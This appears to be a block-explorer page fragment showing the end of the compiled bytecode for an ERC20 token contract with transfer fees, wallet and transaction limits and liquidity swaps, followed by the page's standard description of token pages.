1a565b61190b565b6001600160a01b03821660009081526018602052604090205460ff16801561183a57506001600160a01b0383166000908152601c602052604090205460ff16155b1561188a576019548111156117f45760405162461bcd60e51b815260206004820152601660248201527510b6b0bc2a3930b739b0b1ba34b7b720b6b7bab73a1760511b6044820152606401610b1a565b6001600160a01b0382166000908152601c602052604090205460ff1661190b57601a546001600160a01b0383166000908152600460205260409020546118d09083612488565b111561190b5760405162461bcd60e51b815260206004820152600a602482015269085b585e15d85b1b195d60b21b6044820152606401610b1a565b601e546001600160a01b0384166000908152601b602052604090205460ff9182161591168061195257506001600160a01b0383166000908152601b602052604090205460ff165b1561195b575060005b8015611b66576001600160a01b03831660009081526018602052604081205460ff16801561198b57506000600c54115b15611a56576000601d54601154856119a3919061249b565b6119ad91906124b2565b90506000601d54601054866119c2919061249b565b6119cc91906124b2565b90506000601d54601254876119e1919061249b565b6119eb91906124b2565b9050806119f88385612488565b611a029190612488565b93508260146000828254611a169190612488565b925050819055508160136000828254611a2f9190612488565b925050819055508060156000828254611a489190612488565b90915550611b469350505050565b6001600160a01b03851660009081526018602052604090205460ff168015611a8057506000600b54115b15611b46576000601d54600e5485611a98919061249b565b611aa291906124b2565b90506000601d54600d5486611ab7919061249b565b611ac191906124b2565b90506000601d54600f5487611ad6919061249b565b611ae091906124b2565b905080611aed8385612488565b611af79190612488565b93508260146000828254611b0b9190612488565b925050819055508160136000828254611b249190612488565b925050819055508060156000828254611b3d9190612488565b90915550505050505b8015611b6457611b57853083611d46565b611b6181846124d4565b92505b505b601e5460ff16158015611b8757506017546001600160a01b03858116911614155b8015611bac57506001600160a01b0384166000908152601b602052604090205460ff16155b8015611bd157506001600160a01b0383166000908152601b602052604090205460ff16155b15611bf657601e805460ff19166001179055611beb611f0a565b601e805460ff191690555b611c01848484611d46565b6009546001600160a01b0390811690841603611c3a576009546001600160a01b03166000908152601c60205260409020805460ff191690555b50505050565b601654611c589030906001600160a01b0316846113e3565b60165460075460405163f305d71960e01b81523060048201526024810185905260006044820181905260648201526001600160a01b0391821660848201524260a482015291169063f305d71990839060c40160606040518083038185885af1158015611cc8573d6000803e3d6000fd5b50505050506040513d601f19601f82011682018060405250810190611ced91906124e7565b5050505050565b600580546001600160a01b038381166001600160a01b0319831681179093556040519116919082907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e090600090a35050565b6001600160a01b038316611da65760405162461bcd60e51b815260206004820152602160248201527f45524332303a207472616e736665722066726f6d207a65726f206164647265736044820152607360f81b6064820152608401610b1a565b6001600160a01b038216611dfc5760405162461bcd60e51b815260206004820152601f60248201527f45524332303a207472616e7366657220746f207a65726f2061646472657373006044820152606401610b1a565b6001600160a01b03831660009081526004602052604090205481811015611e795760405162461bcd60e51b815260206004820152602b60248201527f45524332303a207472616e7366657220616d6f756e742067726561746572207460448201526a68616e2062616c616e636560a81b6064820152608401610b1a565b6001600160a01b03808516600090815260046020526040808220858503905591851681529081208054849290611eb0908490612488565b92505081905550826001600160a01b0316846001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef84604051611efc91815260200190565b60405180910390a350505050565b601354601454601554611f1d9190612488565b611f279190612488565b600003611f3057565b60006002601554611f4191906124b2565b9050600081601554611f5391906124d4565b601354601454611f639190612488565b611f6d9190612488565b9050611f78816120e2565b60008183601554611f8991906124d4565b611f93904761249b565b611f9d91906124b2565b9050600083118015611faf5750600081115b15611fbe57611fbe8382611c40565b6000601454601354611fd09190612488565b11156120ce576014546013544791600091611feb9190612488565b601354611ff8908461249b565b61200291906124b2565b9050600061201082846124d4565b9050811561206e576008546040516001600160a01b03909116908390600081818185875af1925050503d8060008114612065576040519150601f19603f3d011682016040523d82523d6000602084013e61206a565b606091505b5050505b80156120ca576009546040516001600160a01b03909116908290600081818185875af1925050503d80600081146120c1576040519150601f19603f3d011682016040523d82523d6000602084013e6120c6565b606091505b5050505b5050505b505060006015819055601481905560135550565b604080516002808252606082018352600092602083019080368337019050509050308160008151811061211757612117612515565b6001600160a01b03928316602091820292909201810191909152601654604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa158015612170573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190612194919061252b565b816001815181106121a7576121a7612515565b6001600160a01b0392831660209182029290920101526016546121cd91309116846113e3565b60165460405163791ac94760e01b81526001600160a01b039091169063791ac94790612206908590600090869030904290600401612548565b600060405180830381600087803b15801561222057600080fd5b505af1158015612234573d6000803e3d6000fd5b505050505050565b600060208083528351808285015260005b818110156122695785810183015185820160400152820161224d565b506000604082860101526040601f19601f8301168501019250505092915050565b6001600160a01b03811681146113e057600080fd5b600080604083850312156122b257600080fd5b82356122bd8161228a565b946020939093013593505050565b6000806000606084860312156122e057600080fd5b505081359360208301359350604090920135919050565b60006020828403121561230957600080fd5b81356123148161228a565b9392505050565b60008060006060848603121561233057600080fd5b833561233b8161228a565b9250602084013561234b8161228a565b929592945050506040919091013590565b60006020828403121561236e57600080fd5b5035919050565b6000806040838503121561238857600080fd5b82356123938161228a565b915060208301356123a38161228a565b809150509250929050565b600080604083850312156123c157600080fd5b82356123cc8161228a565b9150602083013580151581146123a357600080fd5b600080604083850312156123f457600080fd5b50508035926020909101359150565b600181811c9082168061241757607f821691505b60208210810361243757634e487b7160e01b600052602260045260246000fd5b50919050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b634e487b7160e01b600052601160045260246000fd5b80820180821115610adb57610adb612472565b8082028115828204841417610adb57610adb612472565b6000826124cf57634e487b7160e01b600052601260045260246000fd5b500490565b81810381811115610adb57610adb612472565b6000806000606084860312156124fc57600080fd5b8351925060208401519150604084015190509250925092565b634e487b7160e01b600052603260045260246000fd5b60006020828403121561253d57600080fd5b81516123148161228a565b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b818110156125985784516001600160a01b031683529383019391830191600101612573565b50506001600160a01b0396909616606085015250505060800152939250505056fea26469706673582212203f03627b626c358d3c8396977f739398f88383370a3dbce6d3114e2dd212737e64736f6c63430008110033

Loading...
Loading
Loading...
Loading
[ Download: CSV Export  ]
[ Download: CSV Export  ]

A token is a representation of an on-chain or off-chain asset. The token page shows information such as price, total supply, holders, transfers and social links. Learn more about this page in our Knowledge Base.